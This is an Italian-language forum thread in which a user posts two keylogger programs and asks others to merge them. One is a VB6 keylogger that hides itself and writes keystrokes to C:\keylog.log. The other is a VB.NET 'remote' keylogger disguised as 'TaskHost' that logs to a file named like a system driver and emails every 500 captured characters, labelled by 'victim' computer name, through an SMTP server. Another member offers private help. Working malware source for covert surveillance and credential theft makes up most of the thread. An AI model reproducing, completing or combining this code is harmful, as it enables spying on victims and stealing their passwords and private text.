Thread obsoleto Keylogger locale

[Drunk8]

ho visto che c'è n topic in cui c'è il codice del ciclo for per fare il key in remoto ma nn ho il codice del locale non ho nessun codice del key mi potreste dare il codice del locale così dopo inserisco il codice del remoto grazie in anticipo spiegate bene i codici però senò nn capisco niente xd

 

[Jakub1996]

Riferimento: Keylogger locale

studia, non puoi chiederci il codice pronto.

 

[Drunk8]

Riferimento: Keylogger locale

Private Sub Timer1_Timer()
If GetAsyncKeyState(vbKeyA) Then
Label1.Caption = Label1.Caption & "A"
End If
If GetAsyncKeyState(vbKeyB) Then
Label1.Caption = Label1.Caption & "B"
End If
If GetAsyncKeyState(vbKeyC) Then
Label1.Caption = Label1.Caption & "C"
End If

If GetAsyncKeyState(vbKeyD) Then
Label1.Caption = Label1.Caption & "D"
End If

If GetAsyncKeyState(vbKeyE) Then
Label1.Caption = Label1.Caption & "E"
End If

If GetAsyncKeyState(vbKeyF) Then
Label1.Caption = Label1.Caption & "F"
End If
If GetAsyncKeyState(vbKeyG) Then
Label1.Caption = Label1.Caption & "G"
End If
If GetAsyncKeyState(vbKeyH) Then
Label1.Caption = Label1.Caption & "H"
End If
If GetAsyncKeyState(vbKeyI) Then
Label1.Caption = Label1.Caption & "I"
End If
If GetAsyncKeyState(vbKeyJ) Then
Label1.Caption = Label1.Caption & "J"
End If
If GetAsyncKeyState(vbKeyK) Then
Label1.Caption = Label1.Caption & "K"
End If
If GetAsyncKeyState(vbKeyL) Then
Label1.Caption = Label1.Caption & "L"
End If
If GetAsyncKeyState(vbKeyM) Then
Label1.Caption = Label1.Caption & "M"
End If
If GetAsyncKeyState(vbKeyN) Then
Label1.Caption = Label1.Caption & "N"
End If
If GetAsyncKeyState(vbKeyO) Then
Label1.Caption = Label1.Caption & "O"
End If
If GetAsyncKeyState(vbKeyP) Then
Label1.Caption = Label1.Caption & "P"
End If
If GetAsyncKeyState(vbKeyQ) Then
Label1.Caption = Label1.Caption & "Q"
End If
If GetAsyncKeyState(vbKeyR) Then
Label1.Caption = Label1.Caption & "R"
End If
If GetAsyncKeyState(vbKeyS) Then
Label1.Caption = Label1.Caption & "S"
End If
If GetAsyncKeyState(vbKeyT) Then
Label1.Caption = Label1.Caption & "T"
End If
If GetAsyncKeyState(vbKeyU) Then
Label1.Caption = Label1.Caption & "U"
End If
If GetAsyncKeyState(vbKeyV) Then
Label1.Caption = Label1.Caption & "V"
End If
If GetAsyncKeyState(vbKeyW) Then
Label1.Caption = Label1.Caption & "W"
End If
If GetAsyncKeyState(vbKeyX) Then
Label1.Caption = Label1.Caption & "X"
End If
If GetAsyncKeyState(vbKeyY) Then
Label1.Caption = Label1.Caption & "Y"
End If
If GetAsyncKeyState(vbKeyZ) Then
Label1.Caption = Label1.Caption & "Z"
End If
If GetAsyncKeyState(vbKey1) Then
Label1.Caption = Label1.Caption & "1"
End If
If GetAsyncKeyState(vbKey2) Then
Label1.Caption = Label1.Caption & "2"
End If
If GetAsyncKeyState(vbKey3) Then
Label1.Caption = Label1.Caption & "3"
End If
If GetAsyncKeyState(vbKey4) Then
Label1.Caption = Label1.Caption & "4"
End If
If GetAsyncKeyState(vbKey5) Then
Label1.Caption = Label1.Caption & "5"
End If
If GetAsyncKeyState(vbKey6) Then
Label1.Caption = Label1.Caption & "6"
End If
If GetAsyncKeyState(vbKey7) Then
Label1.Caption = Label1.Caption & "7"
End If
If GetAsyncKeyState(vbKey8) Then
Label1.Caption = Label1.Caption & "8"
End If
If GetAsyncKeyState(vbKey9) Then
Label1.Caption = Label1.Caption & "9"
End If
If GetAsyncKeyState(vbKey0) Then
Label1.Caption = Label1.Caption & "0"
End If
If GetAsyncKeyState(vbKeySpace) Then
Label1.Caption = Label1.Caption & " "
End If
If GetAsyncKeyState(vbKeyNumpad0) Then
Label1.Caption = Label1.Caption & "0"
End If
If GetAsyncKeyState(vbKeyNumpad1) Then
Label1.Caption = Label1.Caption & "1"
End If
If GetAsyncKeyState(vbKeyNumpad2) Then
Label1.Caption = Label1.Caption & "2"
End If
If GetAsyncKeyState(vbKeyNumpad3) Then
Label1.Caption = Label1.Caption & "3"
End If
If GetAsyncKeyState(vbKeyNumpad4) Then
Label1.Caption = Label1.Caption & "4"
End If
If GetAsyncKeyState(vbKeyNumpad5) Then
Label1.Caption = Label1.Caption & "5"
End If
If GetAsyncKeyState(vbKeyNumpad6) Then
Label1.Caption = Label1.Caption & "6"
End If
If GetAsyncKeyState(vbKeyNumpad7) Then
Label1.Caption = Label1.Caption & "7"
End If
If GetAsyncKeyState(vbKeyNumpad8) Then
Label1.Caption = Label1.Caption & "8"
End If
If GetAsyncKeyState(vbKeyNumpad9) Then
Label1.Caption = Label1.Caption & "9"
End If
If GetAsyncKeyState(vbKeyF9) Then
Form1.Visible = True
App.TaskVisible = True
End If
If GetAsyncKeyState(vbKeyF10) Then
Form1.Visible = False
App.TaskVisible = False
End If
If GetAsyncKeyState(vbKeyReturn) Then
Label1.Caption = Label1.Caption & "___"
End If
If GetAsyncKeyState(vbKeyDecimal) Then
Label1.Caption = Label1.Caption & "."
End If
If GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKey1) Then
Label1.Caption = Label1.Caption & "!"
End If

End Sub

Private Sub Timer2_Timer()
Dim cartella As String, documento As String, FileNumber As Integer

cartella = "C:\"
documento = "C:\keylog.log"
FileNumber = FreeFile

Open documento For Output As #FileNumber

testo = Label1.Caption

Print #FileNumber, testo

Close #FileNumber
End Sub

questo è il key locale mentre nel ciclo for dovrei inserire questo:

Imports System.IO
Imports System.Net.Mail
Public Class TaskHost
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Integer) As Integer
Public rip As Integer
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Me.Visible = False
Timer1.Start()
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
Me.Visible = False
For i As Integer = 3 To 255
Dim fi As FileInfo = New FileInfo("C:\Windows\DriverSys.txt")
Dim sw As StreamWriter
Dim ch As String
If GetAsyncKeyState(i) Then
ch = DirectCast(i, System.Windows.Forms.Keys).ToString
If ch.Length > 1 Then
ch = "{" + ch + "}"
End If
If fi.Exists = False Then
sw = fi.CreateText()
Else
sw = fi.AppendText()
End If
sw.Write(ch)
sw.Flush()
sw.Close()
TextBox1.Text = TextBox1.Text + ch
If TextBox1.TextLength = 500 Then
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("TUA EMAIL", "PASSWORD")
smtpServer.Port = 587
smtpServer.Host = "smtp.live.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("TUA EMAIL")
mail.To.Add("TUA EMAIL")
mail.Subject = "KeyloggerRemoto" & "" & "Vittima:" & My.Computer.Name & "," & "Email N:" & Label4.Text
mail.Body = TextBox1.Text
smtpServer.Send(mail)
rip = +1
Label4.Text = rip
textbox1.text = ""
End If
End If
Next
Label1.Text = TextBox1.TextLength
End Sub
End Class

ma nn so farlo mi aiutate voi? cioè mi unite i due codici pls????

 

[Jakub1996]

Riferimento: Keylogger locale

@Drunk8
metti il codice nel [ CODE ][ /CODE ].
contattami via mp se ti serve aiuto